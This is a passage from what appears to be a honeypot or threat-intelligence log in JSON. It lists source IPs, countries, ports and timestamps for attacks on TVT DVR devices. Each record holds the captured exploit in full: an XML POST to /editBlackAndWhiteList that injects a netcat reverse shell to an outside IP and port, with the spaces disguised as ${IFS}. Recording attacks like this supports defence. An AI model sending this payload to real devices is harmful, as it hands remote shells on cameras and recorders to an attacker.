  5954.       "source_ip_address": "123.0.220.246",
  5955.       "country": "TW",
  5956.       "user_agent": "Help",
  5957.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5958.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5959.       "target_port": 80,
  5960.       "protocol": "tcp",
  5961.       "tags": [
  5962.         {
  5963.           "cve": "",
  5964.           "category": "IoT",
  5965.           "description": "TVT (Generic OEM) DVR RCE"
  5966.         }
  5967.       ],
  5968.       "event_count": 11,
  5969.       "first_seen": "2019-12-21T07:18:43Z",
  5970.       "last_seen": "2019-12-21T07:18:43Z"
  5971.     },
  5972.     {
  5973.       "source_ip_address": "187.162.185.110",
  5974.       "country": "MX",
  5975.       "user_agent": "Help",
  5976.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5977.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5978.       "target_port": 8000,
  5979.       "protocol": "tcp",
  5980.       "tags": [
  5981.         {
  5982.           "cve": "",
  5983.           "category": "IoT",
  5984.           "description": "TVT (Generic OEM) DVR RCE"
  5985.         }
  5986.       ],
  5987.       "event_count": 1,
  5988.       "first_seen": "2019-12-21T07:16:43Z",
  5989.       "last_seen": "2019-12-21T07:16:43Z"
  5990.     },
  5991.     {
  5992.       "source_ip_address": "83.27.249.43",
  5993.       "country": "PL",
  5994.       "user_agent": "Help",
  5995.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5996.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5997.       "target_port": 80,
  5998.       "protocol": "tcp",
  5999.       "tags": [
  6000.         {
  6001.           "cve": "",
  6002.           "category": "IoT",
  6003.           "description": "TVT (Generic OEM) DVR RCE"
  6004.         }
  6005.       ],
  6006.       "event_count": 2,
  6007.       "first_seen": "2019-12-21T06:56:42Z",
  6008.       "last_seen": "2019-12-21T06:56:42Z"
  6009.     },
  6010.     {
  6011.       "source_ip_address": "73.124.24.41",
  6012.       "country": "US",
  6013.       "user_agent": "Help",
  6014.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6015.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6016.       "target_port": 8080,
  6017.       "protocol": "tcp",
  6018.       "tags": [
  6019.         {
  6020.           "cve": "",
  6021.           "category": "IoT",
  6022.           "description": "TVT (Generic OEM) DVR RCE"
  6023.         }
  6024.       ],
  6025.       "event_count": 2,
  6026.       "first_seen": "2019-12-21T06:42:24Z",
  6027.       "last_seen": "2019-12-21T06:42:24Z"
  6028.     },
  6029.     {
  6030.       "source_ip_address": "216.126.74.83",
  6031.       "country": "CA",
  6032.       "user_agent": "Help",
  6033.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6034.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6035.       "target_port": 88,
  6036.       "protocol": "tcp",
  6037.       "tags": [
  6038.         {
  6039.           "cve": "",
  6040.           "category": "IoT",
  6041.           "description": "TVT (Generic OEM) DVR RCE"
  6042.         }
  6043.       ],
  6044.       "event_count": 1,
  6045.       "first_seen": "2019-12-21T06:41:33Z",
  6046.       "last_seen": "2019-12-21T06:41:33Z"
  6047.     },
  6048.     {
  6049.       "source_ip_address": "151.250.242.181",
  6050.       "country": "TR",
  6051.       "user_agent": "Help",
  6052.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6053.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6054.       "target_port": 8000,
  6055.       "protocol": "tcp",
  6056.       "tags": [
  6057.         {
  6058.           "cve": "",
  6059.           "category": "IoT",
  6060.           "description": "TVT (Generic OEM) DVR RCE"
  6061.         }
  6062.       ],
  6063.       "event_count": 1,
  6064.       "first_seen": "2019-12-21T06:39:08Z",
  6065.       "last_seen": "2019-12-21T06:39:08Z"
  6066.     },
  6067.     {
  6068.       "source_ip_address": "201.171.102.225",
  6069.       "country": "MX",
  6070.       "user_agent": "Help",
  6071.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6072.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6073.       "target_port": 81,
  6074.       "protocol": "tcp",
  6075.       "tags": [
  6076.         {
  6077.           "cve": "",
  6078.           "category": "IoT",
  6079.           "description": "TVT (Generic OEM) DVR RCE"
  6080.         }
  6081.       ],
  6082.       "event_count": 5,
  6083.       "first_seen": "2019-12-19T16:37:58Z",
  6084.       "last_seen": "2019-12-21T06:37:12Z"
  6085.     },
  6086.     {
  6087.       "source_ip_address": "121.122.124.241",
  6088.       "country": "MY",
  6089.       "user_agent": "Help",
  6090.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6091.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6092.       "target_port": 81,
  6093.       "protocol": "tcp",
  6094.       "tags": [
  6095.         {
  6096.           "cve": "",
  6097.           "category": "IoT",
  6098.           "description": "TVT (Generic OEM) DVR RCE"
  6099.         }
  6100.       ],
  6101.       "event_count": 1,
  6102.       "first_seen": "2019-12-21T06:33:40Z",
  6103.       "last_seen": "2019-12-21T06:33:40Z"
  6104.     },
  6105.     {
  6106.       "source_ip_address": "176.214.92.114",
  6107.       "country": "RU",
  6108.       "user_agent": "Help",
  6109.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6110.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6111.       "target_port": 80,
  6112.       "protocol": "tcp",
  6113.       "tags": [
  6114.         {
  6115.           "cve": "",
  6116.           "category": "IoT",
  6117.           "description": "TVT (Generic OEM) DVR RCE"
  6118.         }
  6119.       ],
  6120.       "event_count": 105,
  6121.       "first_seen": "2019-12-21T06:30:10Z",
  6122.       "last_seen": "2019-12-21T06:30:10Z"
  6123.     },
  6124.     {
  6125.       "source_ip_address": "91.240.134.122",
  6126.       "country": "PL",
  6127.       "user_agent": "Help",
  6128.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6129.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6130.       "target_port": 81,
  6131.       "protocol": "tcp",
  6132.       "tags": [
  6133.         {
  6134.           "cve": "",
  6135.           "category": "IoT",
  6136.           "description": "TVT (Generic OEM) DVR RCE"
  6137.         }
  6138.       ],
  6139.       "event_count": 4,
  6140.       "first_seen": "2019-12-21T06:23:43Z",
  6141.       "last_seen": "2019-12-21T06:23:43Z"
  6142.     },
  6143.     {
  6144.       "source_ip_address": "187.163.90.64",
  6145.       "country": "MX",
  6146.       "user_agent": "Help",
  6147.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6148.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6149.       "target_port": 81,
  6150.       "protocol": "tcp",
  6151.       "tags": [
  6152.         {
  6153.           "cve": "",
  6154.           "category": "IoT",
  6155.           "description": "TVT (Generic OEM) DVR RCE"
  6156.         }
  6157.       ],
  6158.       "event_count": 1,
  6159.       "first_seen": "2019-12-21T06:13:38Z",
  6160.       "last_seen": "2019-12-21T06:13:38Z"
  6161.     },
  6162.     {
  6163.       "source_ip_address": "149.34.21.224",
  6164.       "country": "ES",
  6165.       "user_agent": "Help",
  6166.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6167.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6168.       "target_port": 8080,
  6169.       "protocol": "tcp",
  6170.       "tags": [
  6171.         {
  6172.           "cve": "",
  6173.           "category": "IoT",
  6174.           "description": "TVT (Generic OEM) DVR RCE"
  6175.         }
  6176.       ],
  6177.       "event_count": 1,
  6178.       "first_seen": "2019-12-21T06:06:03Z",
  6179.       "last_seen": "2019-12-21T06:06:03Z"
  6180.     },
  6181.     {
  6182.       "source_ip_address": "65.33.66.202",
  6183.       "country": "US",
  6184.       "user_agent": "Help",
  6185.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6186.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6187.       "target_port": 8080,
  6188.       "protocol": "tcp",
  6189.       "tags": [
  6190.         {
  6191.           "cve": "",
  6192.           "category": "IoT",
  6193.           "description": "TVT (Generic OEM) DVR RCE"
  6194.         }
  6195.       ],
  6196.       "event_count": 1,
  6197.       "first_seen": "2019-12-21T05:49:17Z",
  6198.       "last_seen": "2019-12-21T05:49:17Z"
  6199.     },
  6200.     {
  6201.       "source_ip_address": "187.243.54.213",
  6202.       "country": "MX",
  6203.       "user_agent": "Help",
  6204.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6205.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6206.       "target_port": 80,
  6207.       "protocol": "tcp",
  6208.       "tags": [
  6209.         {
  6210.           "cve": "",
  6211.           "category": "IoT",
  6212.           "description": "TVT (Generic OEM) DVR RCE"
  6213.         }
  6214.       ],
  6215.       "event_count": 1,
  6216.       "first_seen": "2019-12-21T05:47:34Z",
  6217.       "last_seen": "2019-12-21T05:47:34Z"
  6218.     },
  6219.     {
  6220.       "source_ip_address": "175.215.234.245",
  6221.       "country": "KR",
  6222.       "user_agent": "Help",
  6223.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6224.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6225.       "target_port": 80,
  6226.       "protocol": "tcp",
  6227.       "tags": [
  6228.         {
  6229.           "cve": "",
  6230.           "category": "IoT",
  6231.           "description": "TVT (Generic OEM) DVR RCE"
  6232.         }
  6233.       ],
  6234.       "event_count": 3,
  6235.       "first_seen": "2019-12-21T05:46:18Z",
  6236.       "last_seen": "2019-12-21T05:46:18Z"
  6237.     },
  6238.     {
  6239.       "source_ip_address": "91.146.133.172",
  6240.       "country": "HU",
  6241.       "user_agent": "Help",
  6242.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6243.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6244.       "target_port": 88,
  6245.       "protocol": "tcp",
  6246.       "tags": [
  6247.         {
  6248.           "cve": "",
  6249.           "category": "IoT",
  6250.           "description": "TVT (Generic OEM) DVR RCE"
  6251.         }
  6252.       ],
  6253.       "event_count": 1,
  6254.       "first_seen": "2019-12-21T05:25:35Z",
  6255.       "last_seen": "2019-12-21T05:25:35Z"
  6256.     },
  6257.     {
  6258.       "source_ip_address": "116.48.140.149",
  6259.       "country": "HK",
  6260.       "user_agent": "Help",
  6261.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6262.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6263.       "target_port": 81,
  6264.       "protocol": "tcp",
  6265.       "tags": [
  6266.         {
  6267.           "cve": "",
  6268.           "category": "IoT",
  6269.           "description": "TVT (Generic OEM) DVR RCE"
  6270.         }
  6271.       ],
  6272.       "event_count": 377,
  6273.       "first_seen": "2019-12-19T02:01:23Z",
  6274.       "last_seen": "2019-12-21T05:22:12Z"
  6275.     },
  6276.     {
  6277.       "source_ip_address": "77.247.28.151",
  6278.       "country": "UA",
  6279.       "user_agent": "Help",
  6280.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6281.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6282.       "target_port": 80,
  6283.       "protocol": "tcp",
  6284.       "tags": [
  6285.         {
  6286.           "cve": "",
  6287.           "category": "IoT",
  6288.           "description": "TVT (Generic OEM) DVR RCE"
  6289.         }
  6290.       ],
  6291.       "event_count": 1,
  6292.       "first_seen": "2019-12-21T04:52:47Z",
  6293.       "last_seen": "2019-12-21T04:52:47Z"
  6294.     },
  6295.     {
  6296.       "source_ip_address": "187.202.130.8",
  6297.       "country": "MX",
  6298.       "user_agent": "Help",
  6299.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6300.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6301.       "target_port": 8000,
  6302.       "protocol": "tcp",
  6303.       "tags": [
  6304.         {
  6305.           "cve": "",
  6306.           "category": "IoT",
  6307.           "description": "TVT (Generic OEM) DVR RCE"
  6308.         }
  6309.       ],
  6310.       "event_count": 1,
  6311.       "first_seen": "2019-12-21T04:50:26Z",
  6312.       "last_seen": "2019-12-21T04:50:26Z"
  6313.     },
  6314.     {
  6315.       "source_ip_address": "73.57.137.100",
  6316.       "country": "US",
  6317.       "user_agent": "Help",
  6318.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6319.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6320.       "target_port": 8000,
  6321.       "protocol": "tcp",
  6322.       "tags": [
  6323.         {
  6324.           "cve": "",
  6325.           "category": "IoT",
  6326.           "description": "TVT (Generic OEM) DVR RCE"
  6327.         }
  6328.       ],
  6329.       "event_count": 1,
  6330.       "first_seen": "2019-12-21T04:48:27Z",
  6331.       "last_seen": "2019-12-21T04:48:27Z"
  6332.     },
  6333.     {
  6334.       "source_ip_address": "89.165.204.71",
  6335.       "country": "RO",
  6336.       "user_agent": "Help",
  6337.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6338.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6339.       "target_port": 8080,
  6340.       "protocol": "tcp",
  6341.       "tags": [
  6342.         {
  6343.           "cve": "",
  6344.           "category": "IoT",
  6345.           "description": "TVT (Generic OEM) DVR RCE"
  6346.         }
  6347.       ],
  6348.       "event_count": 3,
  6349.       "first_seen": "2019-12-21T04:38:43Z",
  6350.       "last_seen": "2019-12-21T04:38:43Z"
  6351.     },
  6352.     {
  6353.       "source_ip_address": "123.195.84.191",
  6354.       "country": "TW",
  6355.       "user_agent": "Help",
  6356.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6357.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6358.       "target_port": 81,
  6359.       "protocol": "tcp",
  6360.       "tags": [
  6361.         {
  6362.           "cve": "",
  6363.           "category": "IoT",
  6364.           "description": "TVT (Generic OEM) DVR RCE"
  6365.         }
  6366.       ],
  6367.       "event_count": 1,
  6368.       "first_seen": "2019-12-21T04:33:21Z",
  6369.       "last_seen": "2019-12-21T04:33:21Z"
  6370.     },
  6371.     {
  6372.       "source_ip_address": "185.8.25.172",
  6373.       "country": "IT",
  6374.       "user_agent": "Help",
  6375.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6376.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6377.       "target_port": 8080,
  6378.       "protocol": "tcp",
  6379.       "tags": [
  6380.         {
  6381.           "cve": "",
  6382.           "category": "IoT",
  6383.           "description": "TVT (Generic OEM) DVR RCE"
  6384.         }
  6385.       ],
  6386.       "event_count": 6,
  6387.       "first_seen": "2019-12-20T20:03:36Z",
  6388.       "last_seen": "2019-12-21T03:44:24Z"
  6389.     },
  6390.     {
  6391.       "source_ip_address": "197.44.101.210",
  6392.       "country": "EG",
  6393.       "user_agent": "Help",
  6394.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  6395.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  6396.       "target_port": 80,
  6397.       "protocol": "tcp",
  6398.       "tags": [
  6399.         {
  6400.           "cve": "",
  6401.           "category": "IoT",
  6402.           "description": "TVT (Generic OEM) DVR RCE"
  6403.         }
  6404.       ],
  6405.       "event_count": 120,
  6406.       "first_seen": "2019-12-21T03:31:36Z",
  6407.       "last_seen": "2019-12-21T03:31:36Z"
  6408.     },
  6409.     {
